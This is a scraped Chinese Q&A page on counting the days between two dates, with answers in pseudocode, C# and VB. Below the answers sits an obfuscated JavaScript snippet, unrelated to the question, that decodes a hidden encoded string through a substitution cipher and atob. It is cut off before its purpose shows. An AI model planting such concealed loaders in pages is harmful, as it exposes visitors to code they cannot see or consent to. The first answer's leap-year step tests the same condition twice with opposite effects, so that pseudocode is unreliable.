怎样计算几月几号到几月几号的天数?

2025-03-14 18:47:45
推荐回答(4个)
回答1:

伪码:
假设为Y1 M1 D1, Y2 M2 D2
(0) 基本准备
计算好每个月一号离1.1号有多少天放在一个数组里面(按不是闰年算),以后要用到;
int days[]= {31,31+28,31+28+31....};
(1)年月合法性检查(开始日期和结束日期)
a. 年份 在1900到3000
b. 月份 在1到12
(2)取得两个日期中当月的最大天数
比如1900.1.11 ~ 1991.2.25 则为Day_Max_Start= 31和Day_Max_End = 28
(3)判断日是否有效D1 <=Day_Max_Start而且D2<=Day_Max_End才有效
(4)计算1900.1.1年到1991.1.1有Sum天
(5)
Sum = Sum + days[M2] + D2 - (days[M1]+D1);
(6)前后闰年的判断
if { Y1 == 闰年 && 是在2.29号以后(包括2.29号)}
Sum = Sum -1;
if { Y1 == 闰年 && 是在2.29号以后(包括2.29号)}
Sum = Sum + 1;

自己在检查检查,比如
1900.1.1到1900.1.2是要算成1天还是两天.这也是个问题.

回答2:

用 C# 的话可以这样:

int days = (new DateTime(2004, 4, 13) - new DateTime(2003, 5, 20)).Days;

回答3:

如果是VB的话 #4/13/2004#-#5/20/2003#
这样就OK了

回答4:

vb:
DateDiff("d", "2003-5-20", "2004-4-13")

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9E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